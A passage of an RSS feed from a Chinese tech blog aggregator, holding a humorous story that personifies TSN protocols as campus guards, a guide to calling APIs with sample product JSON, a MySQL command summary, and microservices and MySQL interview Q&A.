      <description>你是谁？你从哪里来？你到哪里去？这是柳国旅问的最多的三个问题。他总在想，上辈子的自己一定是一个哲学家，不然也不会和这三个问题的关系如此密切。他站的笔挺，耳边是蝉鸣，眼前是蓝天，身侧的街道喧喧嚷嚷，似乎…似乎传来了一声“小兔崽子”。&#xA;我是一个保安，保卫一方平安 “柳国旅是吗？我看看，应聘的门卫岗对吗？柳梦空老爷子介绍来的，你们啥关系呀？哦哦，那给你和老爷子安排在一个片区了。记得今天去办个健康证，明天来保安大队Qci中队报道。看你小子的名字就知道是干这块的料，加油好好干。”&#xA;带着一身装备，一本手册，一套被褥，年纪轻轻的柳国旅也算是踏入了儿时憧憬的殿堂，802.1大学，嗯…保安学院。他们班共有三人，除他外一个是他爹，柳梦空，一个是同姓不同家的前辈，柳纪良。同手册划分的那样，国旅管查证，梦空老爷子管大门，纪良管人流量，分工明确，保卫着校园的安全。&#xA;“倒霉孩子，生气老子，体贴袄子” 是是是，我知道没有什么比学生的事更重要了，国旅他也是太负责了才拦下的那几个学生。&#xA;是是是，我知道他们都带了学生卡，主要是手册里没写那个学院的学生可以过门禁，国旅才拦着他们不让进。&#xA;哎是是是，哪个学院都是我们的学生，主任你也知道，国旅他脑子一根筋，手册里面漏了这学院，他就认这个死理，我们过会儿把漏的补上。&#xA;（怒气值加载中）&#xA;柳国旅，你给我过来，你个“小兔崽子”成天给我惹事。不在名单是吧，不带学生卡是吧，优先级不对是吧，目的MAC不对是吧，你事怎么这么多呢，过来，我打不断你的狗腿。&#xA;爹别打，别打，这是上头要求的，你看这名单里也没说是802.1大学的就给过，都是细到每个学院的，这就是没写那几个同学的学院啊。&#xA;你个小兔崽子，哎哟，气死我了。&#xA;别气别气，生气对身体不好，快10点了，爹你别忘了关门，我先去前面轮岗去了，大门钥匙给你放桌上了。&#xA;（体贴感转变中）&#xA;纪良你咋来了，不在后面统计人数吗。&#xA;晚上啦，您都把所有门都关上了，我还统计个啥子哦。我看国旅他刚刚跑出门了，是不是又惹您生气了。莫气莫气，国旅他就是这样，但他实际还是特别尊重您的。&#xA;尊尊尊，尊个屁，一瓶速效救心丸都不够一天吃。还是纪良你好啊，都姓柳，那小子就是学不来一点你的稳重。&#xA;别这么说，TSN校委会那帮人可是欣赏国旅的紧，国旅看着是不正经了点，干活可是负责的很，这两年我们学校的成果可不少，老有人偷偷摸摸想进学校找那些教授，也不知道想做点啥子，学校里能够那么清净可多亏了国旅。&#xA;倒确实是负责，就是太轴了点，本来Qbv老师都帮我调好了，早上把门控系统和他们的状态机对接上，设些个开关时间，然后晚上把所有门都给关上就行，多清净。娘希匹的，自从这小兔崽子来了之后，一天十几二十来个投诉电话啊，都让老子管，老子管个锤锤。&#xA;哎哎，老爷子别气别气。&#xA;小鳄鱼爱洗澡，柳纪良爱计量 国旅，你怎么又给老爷子惹事了，我看老爷子这次是真的恼了，你也别不当回事，赶紧给赔个不是吧。&#xA;我哪惹事了，那通知就是没让那几个同学过嘛。哎，是我错了是我错了，明天我起早点，给他做点早饭带过去。对了纪良哥，你平时除了统计统计学生数量还要做点啥子。我看你上次给一片学生给揪出来了，那是咋回事，都给我讲讲呗。&#xA;我干的活啊，其实也挺简单的。国旅你平常站岗的时候肯定也发现了，我们学校的作息活动都是很规律的。所以呢，一段时间内大门过多少人基本都是可以确定的，即使有差别也不会很大。只要那本校流量和访客的流量在规定的时间内不超过一定的值呢，我就认为没有问题。上次那事也是这个道理，那个学院平时根本不会有那么多人进进出出，突然来了一大批，那我直接就给他们这学院的人全揪出来了，上头现在还在调查呢。&#xA;哦哦，没听明白。&#xA;行了行了，睡觉吧你。对了，以后再有拿不准的人想进来就去问柳诗别（流识别）吧，我打听了一下，手册里你那部分的内容很多都是她编的，明天我带你去见见她。&#xA;好哦，晚安纪良哥。&#xA;-END-&#xA;往期回顾&#xA;TSN协议解读系列 | (1) 帧抢占：br老先生的旅途&#xA;TSN协议解读系列 | (2) Qbv：车间里的求知路</description>
    </item>
    <item>
      <title>如何获取api 接口数据</title>
      <link>https://bchobby.github.io/posts/df7db1339d59377d1dc49e33a67c7315/</link>
      <pubDate>Wed, 08 Nov 2023 10:12:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df7db1339d59377d1dc49e33a67c7315/</guid>
      <description>要获取API接口数据，通常需要以下步骤：&#xA;了解API接口：首先，你需要了解API接口的文档或规范。这些文档通常提供了关于如何调用API的详细信息，包括请求的URL、请求方法（GET、POST等）、参数和响应格式等。选择编程语言：根据你的需求和熟悉程度，选择一种编程语言来调用API。常见的编程语言包括Python、JavaScript、Java等。导入必要的库：在所选编程语言中，导入用于处理HTTP请求和JSON等数据的库。例如，在Python中，你可以使用requests库来发送HTTP请求，使用json库来处理JSON数据。发送HTTP请求：根据API文档中提供的请求示例，使用所选编程语言和相关库发送HTTP请求。你需要指定请求的URL、方法、参数和任何其他必要的头部或身份验证信息。解析响应数据：一旦你收到API的响应，你需要使用所选编程语言的相应库解析响应数据。通常，API响应会以JSON格式返回，因此你需要将响应数据解析为JSON对象。处理响应数据：根据你的需求，对解析后的响应数据进行处理。你可以将其保存到文件或数据库中，或者在应用程序中使用这些数据。 需要注意的是，不同的API可能会有不同的要求和限制。因此，在使用API之前，请仔细阅读API文档并遵守相关的使用条款和条件。&#xA;数据示例&#xA;Result Object: --------------------------------------- { &#34;item&#34;: { &#34;num_iid&#34;: &#34;715314067434&#34;, &#34;title&#34;: &#34;品哥弟新秋冬装半高领网纱长袖T恤女蚕丝打底衫修身洋气加绒上衣&#34;, &#34;desc_short&#34;: &#34;&#34;, &#34;price&#34;: 128, &#34;total_price&#34;: &#34;&#34;, &#34;suggestive_price&#34;: &#34;&#34;, &#34;orginal_price&#34;: 620, &#34;nick&#34;: &#34;kaixi20100529&#34;, &#34;num&#34;: 1613, &#34;detail_url&#34;: &#34;https://item.taobao.com/item.htm?id=715314067434&#34;, &#34;pic_url&#34;: &#34;//gd2.alicdn.com/imgextra/i4/1934891911/O1CN01JWMKb21PzHlEblABn_!!1934891911.jpg&#34;, &#34;brand&#34;: &#34;品哥弟新&#34;, &#34;brandId&#34;: &#34;&#34;, &#34;rootCatId&#34;: &#34;&#34;, &#34;cid&#34;: 50000671, &#34;desc&#34;: &#34;&amp;lt;div &amp;gt;\n &amp;lt;div &amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i4/1934891911/O1CN01HEYcli1PzHlEwoawQ_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i3/1934891911/O1CN01X2Ejr01PzHlHL5v8w_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i1/1934891911/O1CN01QjFS3M1PzHlEwmRud_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i1/1934891911/O1CN01TFIVWJ1PzHl7s8bkC_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i2/1934891911/O1CN01YEwRsi1PzHlEwovke_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i2/1934891911/O1CN01pxjv9s1PzHlI7cYIL_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i3/1934891911/O1CN0136Qv7g1PzHluK7e75_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;http://img.alicdn.com/imgextra/i3/1934891911/O1CN01HWYSwc1PzHluK76px_!!1934891911.jpg\&#34; /&amp;gt;\n &amp;lt;img src=\&#34;</description>
    </item>
    <item>
      <title>【MYSQL基础】一文总结MYSQL必须掌握的常用命令</title>
      <link>https://bchobby.github.io/posts/a17ca6a199dbab5aea53b902c876ed04/</link>
      <pubDate>Wed, 08 Nov 2023 09:01:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a17ca6a199dbab5aea53b902c876ed04/</guid>
      <description>文章目录 基础命令MYSQL注释方式连接数据库退出数据库连接查询MYSQL版本查看所有数据库使用数据库查看所选择数据库的所有表查看表的具体信息创建数据库查看创建数据库的语句修改用户密码数据表管理创建数据表查看创建数据表的语句查看表的结构修改表名删除表 数据表字段管理给指定表增加字段修改指定表的字段删除指定表的字段 给表添加外键创建表的时候增加外键给已有表添加外键外键使用建议 数据插入语句 INSERT数据插入一次性插入多条数据案例 数据更新语句 UPDATE没有指定匹配条件的话，会所有表的所有记录根据条件来修改记录一次性修改多个字段的值稍微高级一点的使用 where条件判空and和or的使用 数据删除 DELETE数据表清空 TRUNCATE数据查询语言Data Query LANGUAGE(DQL) SELECT查询一个表中的所有数据查询指定字段的数据给字段取别名给表取别名字符串拼接查询结果数据去重查询时增加计算模糊查询连接查询七种连接方式自连接 分页排序子查询查询常用函数分组过滤SELECT语法完整结构 数据加密 基础命令 MYSQL注释方式 -- 单行注释 /* 多行注释 哈哈哈哈哈 哈哈哈哈 */ 连接数据库 mysql -u root -p12345678 退出数据库连接 使用exit;命令可以退出连接&#xA;查询MYSQL版本 mysql&amp;gt; select version(); +-----------+ | version() | +-----------+ | 8.0.27 | +-----------+ 1 row in set (0.00 sec) 查看所有数据库 show databases; 使用数据库 如果想要操作数据库，需要使用use 数据库名;来选择要操作的数据库&#xA;查看所选择数据库的所有表 show tables; 查看表的具体信息 使用describe 表名;可以查看表中的字段信息&#xA;mysql&amp;gt; describe user; +--------------+---------------+------+-----+-------------------+-----------------------------------------------+ | Field | Type | Null | Key | Default | Extra | +--------------+---------------+------+-----+-------------------+-----------------------------------------------+ | id | bigint | NO | PRI | NULL | auto_increment | | userName | varchar(256) | YES | | NULL | | | userAccount | varchar(256) | NO | UNI | NULL | | | userAvatar | varchar(1024) | YES | | NULL | | | gender | tinyint | YES | | NULL | | | userRole | varchar(256) | NO | | user | | | userPassword | varchar(512) | NO | | NULL | | | accessKey | varchar(512) | YES | | NULL | | | secretKey | varchar(512) | YES | | NULL | | | createTime | datetime | NO | | CURRENT_TIMESTAMP | DEFAULT_GENERATED | | updateTime | datetime | NO | | CURRENT_TIMESTAMP | DEFAULT_GENERATED on update CURRENT_TIMESTAMP | | isDelete | tinyint | NO | | 0 | | +--------------+---------------+------+-----+-------------------+-----------------------------------------------+ 12 rows in set (0.</description>
    </item>
    <item>
      <title>微服务那些事</title>
      <link>https://bchobby.github.io/posts/54d8482d39b38bc5a11f5c9a50cec42d/</link>
      <pubDate>Wed, 08 Nov 2023 08:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54d8482d39b38bc5a11f5c9a50cec42d/</guid>
      <description>1、您对微服务有何了解？ 微服务，又称微服务 架构，是一种架构风格，它将应用程序构建为以业务领域为 模型的小型自治服务集合 。 通俗地说，你必须看到蜜蜂如何通过对齐六角形蜡细胞来构建它们的蜂窝状物。 他们最初从使用各种材料的小部分开始，并继续从中构建一个大型蜂箱。这些细 胞形成图案，产生坚固的结构，将蜂窝的特定部分固定在一起。这里，每个细胞 独立于另一个细胞，但它也与其他细胞相关。这意味着对一个细胞的损害不会损 害其他细胞，因此，蜜蜂可以在不影响完整蜂箱的情况下重建这些细胞。 图 1：微服务的 蜂窝表示 – 微服务访谈问题 请参考上图。这里，每个六边形形状代表单独的服务组件。与蜜蜂的工作类似， 每个敏捷团队都使用可用的框架和所选的技术堆栈构建单独的服务组件。就像在 蜂箱中一样，每个服务组件形成一个强大的微服务架构，以提供更好的可扩展性。 此外，敏捷团队可以单独处理每个服务组件的问题，而对整个应用程序没有影响 或影响最小。 2、微服务架构有哪些优势？ 图 2：微服务的 优点 – 微服务访谈问题 独立开发 – 所有微服务都可以根据各自的功能轻松开发 独立部署 – 基于其服务，可以在任何应用程序中单独部署它们 故障隔离 – 即使应用程序的一项服务不起作用，系统仍可继续运行 混合技术堆栈 – 可以使用不同的语言和技术来构建同一应用程序的不同 服务 粒度缩放 – 单个组件可根据需要进行缩放，无需将所有组件缩放在一起 3、微服务有哪些特点？ 图 3：微服务的 特点 – 微服务访谈问题 解耦 – 系统内的服务很大程度上是分离的。因此，整个应用程序可以轻松构建，更改和扩展 组件化 – 微服务被视为可以轻松更换和升级的独立组件 业务能力 – 微服务非常简单，专注于单一功能 自治 – 开发人员和团队可以彼此独立工作，从而提高速度 持续交付 – 通过软件创建，测试和批准的系统自动化，允许频繁发布软件 责任 – 微服务不关注应用程序作为项目。相反，他们将应用程序视为他 们负责的产品 分散治理 – 重点是使用正确的工具来做正确的工作。这意味着没有标准 化模式或任何技术模式。开发人员可以自由选择最有用的工具来解决他们的问题 敏捷 – 微服务支持敏捷开发。任何新功能都可以快速开发并再次丢弃 4、设计微服务的最佳实践是什么？ 以下是设计微服务的最佳实践： 图 4：设计微服务的最佳实践 – 微服务访谈问题 5、微服务架构如何运作？ 微服务架构具有以下组件： 图 5：微服务 架构 – 微服务面试问题 客户端 – 来自不同设备的不同用户发送请求。 身份提供商 – 验证用户或客户身份并颁发安全令牌。 API 网关 – 处理客户端请求。 静态内容 – 容纳系统的所有内容。 管理 – 在节点上平衡服务并识别故障。 服务发现 – 查找微服务之间通信路径的指南。 内容交付网络 – 代理服务器及其数据中心的分布式网络。 远程服务 – 启用驻留在 IT 设备网络上的远程访问信息。 6、微服务架构的优缺点是什么？ 7、单片，SOA 和微服务架构有什么区别？ 图 6： 单片 SOA 和微服务之间的比较 – 微服务访谈问题 单片架构 类似于大容器，其中应用程序的所有软件组件组装在一起并紧密 封装。 一个 面向服务的架构 是一种相互通信服务的集合。通信可以涉及简单的数 据传递，也可以涉及两个或多个协调某些活动的服务。 微服务架构 是一种架构风格，它将应用程序构建为以业务域为模型的小型 自治服务集合。 8、在使用微服务架构时，您面临哪些挑战？ 开发一些较小的微服务听起来很容易，但开发它们时经常遇到的挑战如下。 自动化组件 ：难以自动化，因为有许多较小的组件。因此，对于每个组件， 我们必须遵循 Build，Deploy 和 Monitor 的各个阶段。 易感性 ：将大量组件维护在一起变得难以部署，维护，监控和识别问题。 它需要在所有组件周围具有很好的感知能力。 配置管理 ：有时在各种环境中维护组件的配置变得困难。 调试 ：很难找到错误的每一项服务。维护集中式日志记录和仪表板以调试 问题至关重要。 9、SOA 和微服务架构之间的主要区别是什么？ SOA 和微服务之间的主要区别如下： 10、微服务有什么特点？ 您可以列出微服务的特征，如下所示： 图 7：微服务的特征 – 微服务访谈问题 11、什么是领域驱动设计？ 图 8： DDD 原理 – 微服务面试问题 12、为什么需要域驱动设计（DDD）？ 图 9：我们需要 DDD 的因素 – 微服务面试问题 13、什么是无所不在的语言？ 如果您必须定义 泛在语言（UL） ，那么它是特定域的开发人员和用户使用的通用 语言，通过该语言可以轻松解释域。 无处不在的语言必须非常清晰，以便它将所有团队成员放在同一页面上，并以机 器可以理解的方式进行翻译。 14、什么是凝聚力？ 模块内部元素所属的程度被认为是 凝聚力 。 15、什么是耦合？ 组件之间依赖关系强度的度量被认为是 耦合 。一个好的设计总是被认为具有 高内 聚力 和 低耦合性 。 16、什么是 REST / RESTful 以及它的用途是什么？ Representational State Transfer（REST）/ RESTful Web 服务是一种帮助计 算机系统通过 Internet 进行通信的架构风格。这使得微服务更容易理解和实现。 微服务可以使用或不使用 RESTful API 实现，但使用 RESTful API 构建松散耦合 的微服务总是更容易。 17、你对 Spring Boot 有什么了解？ 事实上，随着新功能的增加，弹簧变得越来越复杂。如果必须启动新的 spring 项 目，则必须添加构建路径或添加 maven 依赖项，配置应用程序服务器，添加 spring 配置。所以一切都必须从头开始。 Spring Boot 是解决这个问题的方法。使用 spring boot 可以避免所有样板代码 和配置。因此，基本上认为自己就好像你正在烘烤蛋糕一样，春天就像制作蛋糕 所需的成分一样，弹簧靴就是你手中的完整蛋糕。 图 10： Spring Boot 的因素 – 微服务面试问题 18、什么是 Spring 引导的执行器？ Spring Boot 执行程序提供了 restful Web 服务，以访问生产环境中运行应用程序 的当前状态。在执行器的帮助下，您可以检查各种指标并监控您的应用程序。 19、什么是 Spring Cloud？ 根据 Spring Cloud 的官方网站，Spring Cloud 为开发人员提供了快速构建分布 式系统中一些常见模式的工具（例如配置管理，服务发现，断路器，智能路由， 领导选举，分布式会话，集群状态）。 20、Spring Cloud 解决了哪些问题？ 在使用 Spring Boot 开发分布式微服务时，我们面临的问题很少由 Spring Cloud 解决。 与分布式系统相关的复杂性 – 包括网络问题，延迟开销，带宽问题，安 全问题。 处理服务发现的能力 – 服务发现允许集群中的进程和服务找到彼此并进 行通信。 解决冗余问题 – 冗余问题经常发生在分布式系统中。 负载平衡 – 改进跨多个计算资源（例如计算机集群，网络链接，中央处 理单元）的工作负载分布。 减少性能问题 – 减少因各种操作开销导致的性能问题。 21、在 Spring MVC 应用程序中使用 WebMvcTest 注释有什么用处？ 在测试目标只关注 Spring MVC 组件的情况下， WebMvcTest 注释用于单元测试 Spring MVC 应用程序。在上面显示的快照中，我们只想启动 ToTestController。 执行此单元测试时，不会启动所有其他控制器和映射。 22。你能否给出关于休息和微服务的要点？ 虽然您可以通过多种方式实现微服务，但 REST over HTTP 是实现微服务的一种 方式。REST 还可用于其他应用程序，如 Web 应用程序，API 设计和 MVC 应用程 序，以提供业务数据。 微服务是一种体系结构，其中系统的所有组件都被放入单独的组件中，这些组件 可以单独构建，部署和扩展。微服务的某些原则和最佳实践有助于构建弹性应用 程序。 简而言之，您可以说 REST 是构建微服务的媒介。 23、什么是不同类型的微服务测试？ 在使用微服务时，由于有多个微服务协同工作，测试变得非常复杂。因此，测试 分为不同的级别。 在 底层 ，我们有 面向技术的测试， 如单元测试和性能测试。这些是完全自 动化的。 在 中间层面 ，我们进行了诸如压力测试和可用性测试之类的 探索 性测试。 在 顶层， 我们的 验收测试 数量很少。这些验收测试有助于利益相关者理 解和验证软件功能。 24、您对 Distributed Transaction 有何了解？ 分布式事务 是指单个事件导致两个或多个不能以原子方式提交的单独数据源的突 变的任何情况。在微服务的世界中，它变得更加复杂，因为每个服务都是一个工 作单元，并且大多数时候多个服务必须协同工作才能使业务成功。 25、什么是 Idempotence 以及它在哪里使用？ 幂等 性是能够以这样的方式做两次事情的特性，即最终结果将保持不变，即好像 它只做了一次。 用法 ：在远程服务或数据源中 使用 Idempotence，这样当它多次接收指令时，它 只处理指令一次。 26、什么是有界上下文？ 有界上下文是域驱动设计的核心模式。DDD 战略设计部门的重点是处理大型模型 和团队。DDD 通过将大型模型划分为不同的有界上下文并明确其相互关系来处理 大型模型。 27、什么是双因素身份验证？ 双因素身份验证为帐户登录过程启用第二级身份验证。 图 11： 双因素认证的表示 – 微服务访谈问题 因此，假设用户必须只输入用户名和密码，那么这被认为是单因素身份验证。 28、双因素身份验证的凭据类型有哪些？ 这三种凭证是： 图 12： 双因素认证的证书类型 – 微服务面试问题 29、什么是客户证书？ 客户端系统用于向远程服务器发出经过身份验证的请求的一种数字证书称为 客户 端证书 。客户端证书在许多相互认证设计中起着非常重要的作用，为请求者的身 份提供了强有力的保证。 30、PACT 在微服务架构中的用途是什么？ PACT 是一个开源工具，允许测试服务提供者和消费者之间的交互，与合同隔离， 从而提高微服务集成的可靠性。 微服务中的用法 用于在微服务中实现消费者驱动的合同。 测试微服务的消费者和提供者之间的消费者驱动的合同。 查看即将到来的批次 31、什么是 OAuth？ OAuth 代表开放授权协议。这允许通过在 HTTP 服务上启用客户端应用程序（例 如第三方提供商 Facebook，GitHub 等）来访问资源所有者的资源。因此，您可 以在不使用其凭据的情况下与另一个站点共享存储在一个站点上的资源。 32、康威定律是什么？ “任何 设计 系统 的组 织（ 广泛 定义 ）都 将产 生一 种设 计， 其结 构是 组织 通信 结构 的副 本。” – Mel Conway 图 13： Conway 定律的表示 – 微服务访谈问题 该法律基本上试图传达这样一个事实：为了使软件模块起作用，整个团队应该进 行良好的沟通。因此，系统的结构反映了产生它的组织的社会边界。 33、合同测试你懂什么？ 根据 Martin Flower 的说法， 合同测试 是在外部服务边界进行的测试，用于验证 其是否符合消费服务预期的合同。 此外，合同测试不会深入测试服务的行为。更确切地说，它测试该服务调用的输 入＆输出包含所需的属性和所述响应延迟，吞吐量是允许的限度内。 34、什么是端到端微服务测试？ 端到端测试验证了工作流中的每个流程都正常运行。这可确保系统作为一个整体 协同工作并满足所有要求。 通俗地说，你可以说端到端测试是一种测试，在特定时期后测试所有东西。 图 14： 测试层次 – 微服务面试问题 35、Container 在微服务中的用途是什么？ 容器是管理基于微服务的应用程序以便单独开发和部署它们的好方法 。 您可以将 微服务封装在容器映像及其依赖项中，然后可以使用它来滚动按需实例的微服务， 而无需任何额外的工作。 图 15： 容器的表示及其在微服务中的使用方式 – 微服务访谈问题 36、什么是微服务架构中的 DRY？ DRY 代表 不要重复自己 。它基本上促进了重用代码的概念。这导致开发和共享库， 这反过来导致紧密耦合。 37、什么是消费者驱动的合同（CDC）？ 这基本上是用于开发微服务的模式，以便它们可以被外部系统使用。当我们处理 微服务时，有一个特定的提供者构建它，并且有一个或多个使用微服务的消费者。 通常，提供程序在 XML 文档中指定接口。但在消费者驱动的合同中，每个服务消 费者都传达了提供商期望的接口。 38、Web，RESTful API 在微服务中的作用是什么？ 微服务架构基于一个概念，其中所有服务应该能够彼此交互以构建业务功能。因 此，要实现这一点，每个微服务必须具有接口。这使得 Web API 成为微服务的一 个非常重要的推动者。RESTful API 基于 Web 的开放网络原则，为构建微服务架 构的各个组件之间的接口提供了最合理的模型。 39、您对微服务架构中的语义监控有何了解？ 语义监控，也称为 综合监控， 将自动化测试与监控应用程序相结合，以检测业 务失败因素。 40、我们如何进行跨功能测试？ 跨功能测试是对非功能性需求的验证，即那些无法像普通功能那样实现的需求。 41、我们如何在测试中消除非决定论？ 非确定性测试 （NDT）基本上是不可靠的测试。所以，有时可能会发生它们通过， 显然有时它们也可能会失败。当它们失败时，它们会重新运行通过。 从测试中删除非确定性的一些方法如下： 1、 隔离 2、 异步 3、 远程服务 4、 隔离 5、 时间 6、 资源泄漏 42、Mock 或 Stub 有什么区别？ 存根 一个有助于运行测试的虚拟对象。 在某些可以硬编码的条件下提供固定行为。 永远不会测试存根的任何其他行为。 例如，对于空堆栈，您可以创建一个只为 empty（）方法返回 true 的存根。因此， 这并不关心堆栈中是否存在元素。 嘲笑 一个虚拟对象，其中最初设置了某些属性。 此对象的行为取决于 set 属性。 也可以测试对象的行为。 例如，对于 Customer 对象，您可以通过设置名称和年龄来模拟它。您可以将 age 设置为 12，然后测试 isAdult（）方法，该方法将在年龄大于 18 时返回 true。因 此，您的 Mock Customer 对象适用于指定的条件。 43、您对 Mike Cohn 的测试金字塔了解多少？ Mike Cohn 提供了一个名为 Test Pyramid 的模型 。 这描述了软件开发所需的自 动化测试类型。 图 16： Mike Cohn 的测试金字塔 – 微服务面试问题 根据金字塔，第一层的测试数量应该最高。在服务层，测试次数应小于单元测试 级别，但应大于端到端级别。 44、Docker 的目的是什么？ Docker 提供了一个可用于托管任何应用程序的容器环境。在此，软件应用程序和 支持它的依赖项紧密打包在一起。 因此，这个打包的产品被称为 Container ，因为它是由 Docker 完成的，所以它 被称为 Docker 容器！ 45、什么是金丝雀释放？ Canary Releasing 是一种降低在生产中引入新软件版本的风险的技术。这是通过 将变更缓慢地推广到一小部分用户，然后将其发布到整个基础架构，即将其提供 给每个人来完成的。 46、什么是持续集成（CI）？ 持续集成（CI） 是每次团队成员提交版本控制更改时自动构建和测试代码的过程。 这鼓励开发人员通过在每个小任务完成后将更改合并到共享版本控制存储库来共 享代码和单元测试。 47、什么是持续监测？ 持续监控 深入监控覆盖范围，从浏览器内前端性能指标，到应用程序性能，再到 主机虚拟化基础架构指标。 48、架构师在微服务架构中的角色是什么？ 微服务架构中的架构师扮演以下角色： 决定整个软件系统的布局。 帮助确定组件的分区。因此，他们确保组件相互粘合，但不紧密耦合。 与开发人员共同编写代码，了解日常生活中面临的挑战。 为开发微服务的团队提供某些工具和技术的建议。 提供技术治理，以便技术开发团队遵循微服务原则。 49、我们可以用微服务创建状态机吗？ 我们知道拥有自己的数据库的每个微服务都是一个可独立部署的程序单元，这反 过来又让我们可以创建一个状态机。因此，我们可以为特定的微服务指定不同的 状态和事件。 例如，我们可以定义 Order 微服务。订单可以具有不同的状态。Order 状态的转 换可以是 Order 微服务中的独立事件。 50、什么是微服务中的反应性扩展？ Reactive Extensions 也称为 Rx。这是一种设计方法，我们通过调用多个服务来 收集结果，然后编译组合响应。这些调用可以是同步或异步，阻塞或非阻塞。Rx 是分布式系统中非常流行的工具，与传统流程相反。 翻译来源： https://www.</description>
    </item>
    <item>
      <title>MySQL那些事</title>
      <link>https://bchobby.github.io/posts/1cee985c9182bc20f24108346edbd0c1/</link>
      <pubDate>Wed, 08 Nov 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cee985c9182bc20f24108346edbd0c1/</guid>
      <description>1、MySQL 中有哪几种锁？ 1、表级锁：开销小，加锁快；不会出现死锁；锁定粒度大，发生锁冲突的概率最 高，并发度最低。 2、行级锁：开销大，加锁慢；会出现死锁；锁定粒度最小，发生锁冲突的概率最 低，并发度也最高。 3、页面锁：开销和加锁时间界于表锁和行锁之间；会出现死锁；锁定粒度界于表 锁和行锁之间，并发度一般。 2、MySQL 中有哪些不同的表格？ 共有 5 种类型的表格： 1、MyISAM 2、Heap 3、Merge 4、INNODB 5、ISAM 3、简述在 MySQL 数据库中 MyISAM 和 InnoDB 的区别 MyISAM： 不支持事务，但是每次查询都是原子的； 支持表级锁，即每次操作是对整个表加锁； 存储表的总行数； 一个 MYISAM 表有三个文件：索引文件、表结构文件、数据文件； 采用菲聚集索引，索引文件的数据域存储指向数据文件的指针。辅索引与主索引 基本一致，但是辅索引不用保证唯一性。 InnoDb： 支持 ACID 的事务，支持事务的四种隔离级别； 支持行级锁及外键约束：因此可以支持写并发； 不存储总行数： 一个 InnoDb 引擎存储在一个文件空间（共享表空间，表大小不受操作系统控制， 一个表可能分布在多个文件里），也有可能为多个（设置为独立表空，表大小受 操作系统文件大小限制，一般为 2G），受操作系统文件大小的限制； 主键索引采用聚集索引（索引的数据域存储数据文件本身），辅索引的数据域存 储主键的值；因此从辅索引查找数据，需要先通过辅索引找到主键值，再访问辅 索引；最好使用自增主键，防止插入数据时，为维持 B+树结构，文件的大调整。 4、MySQL 中 InnoDB 支持的四种事务隔离级别名称，以及逐级之间的区别？ SQL 标准定义的四个隔离级别为： 1、read uncommited ：读到未提交数据 2、read committed：脏读，不可重复读 3、repeatable read：可重读 4、serializable ：串行事物 5、CHAR 和 VARCHAR 的区别？ 1、CHAR 和 VARCHAR 类型在存储和检索方面有所不同 2、CHAR 列长度固定为创建表时声明的长度，长度值范围是 1 到 255 当 CHAR 值被存储时，它们被用空格填充到特定长度，检索 CHAR 值时需删除尾随空格。 6、主键和候选键有什么区别？ 表格的每一行都由主键唯一标识,一个表只有一个主键。 主键也是候选键。按照惯例，候选键可以被指定为主键，并且可以用于任何外键 引用。 7、myisamchk 是用来做什么的？ 它用来压缩 MyISAM 表，这减少了磁盘或内存使用。 MyISAM Static 和 MyISAM Dynamic 有什么区别？ 在 MyISAM Static 上的所有字段有固定宽度。动态 MyISAM 表将具有像 TEXT， BLOB 等字段，以适应不同长度的数据类型。 MyISAM Static 在受损情况下更容易恢复。 8、如果一个表有一列定义为 TIMESTAMP，将发生什么？ 每当行被更改时，时间戳字段将获取当前时间戳。 列设置为 AUTO INCREMENT 时，如果在表中达到最大值，会发生什么情况？ 它会停止递增，任何进一步的插入都将产生错误，因为密钥已被使用。 怎样才能找出最后一次插入时分配了哪个自动增量？ LAST_INSERT_ID 将返回由 Auto_increment 分配的最后一个值，并且不需要指 定表名称。 9、你怎么看到为表格定义的所有索引？ 索引是通过以下方式为表格定义的： SHOW INDEX FROM &amp;lt;tablename&amp;gt;; 10、LIKE 声明中的％和_是什么意思？ ％对应于 0 个或更多字符，_只是 LIKE 语句中的一个字符。 如何在 Unix 和 MySQL 时间戳之间进行转换？ UNIX_TIMESTAMP 是从 MySQL 时间戳转换为 Unix 时间戳的命令 FROM_UNIXTIME 是从 Unix 时间戳转换为 MySQL 时间戳的命令 11、列对比运算符是什么？ 在 SELECT 语句的列比较中使用=，&amp;lt;&amp;gt;，&amp;lt;=，&amp;lt;，&amp;gt; =，&amp;gt;，&amp;lt;&amp;lt;，&amp;gt;&amp;gt;，&amp;lt;=&amp;gt;，AND， OR 或 LIKE 运算符。 12、BLOB 和 TEXT 有什么区别？ BLOB 是一个二进制对象，可以容纳可变数量的数据。TEXT 是一个不区分大小写 的 BLOB。 BLOB 和 TEXT 类型之间的唯一区别在于对 BLOB 值进行排序和比较时区分大小 写，对 TEXT 值不区分大小写。 13、MySQL_fetch_array 和 MySQL_fetch_object 的区别是什么？ 以下是 MySQL_fetch_array 和 MySQL_fetch_object 的区别： MySQL_fetch_array（） – 将结果行作为关联数组或来自数据库的常规数组返回。 MySQL_fetch_object – 从数据库返回结果行作为对象。 14、MyISAM 表格将在哪里存储，并且还提供其存储格式？ 每个 MyISAM 表格以三种格式存储在磁盘上： ·“.</description>
    </item>
    <item>
      <title>conda环境中pytorch1.2.0版本安装包安装一直失败解决办法！！！</title>
      <link>https://bchobby.github.io/posts/154c0ebcd4dbf350a2a6bfd00a20eac4/</link>
      <pubDate>Wed, 08 Nov 2023 00:59:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/154c0ebcd4dbf350a2a6bfd00a20eac4/</guid>
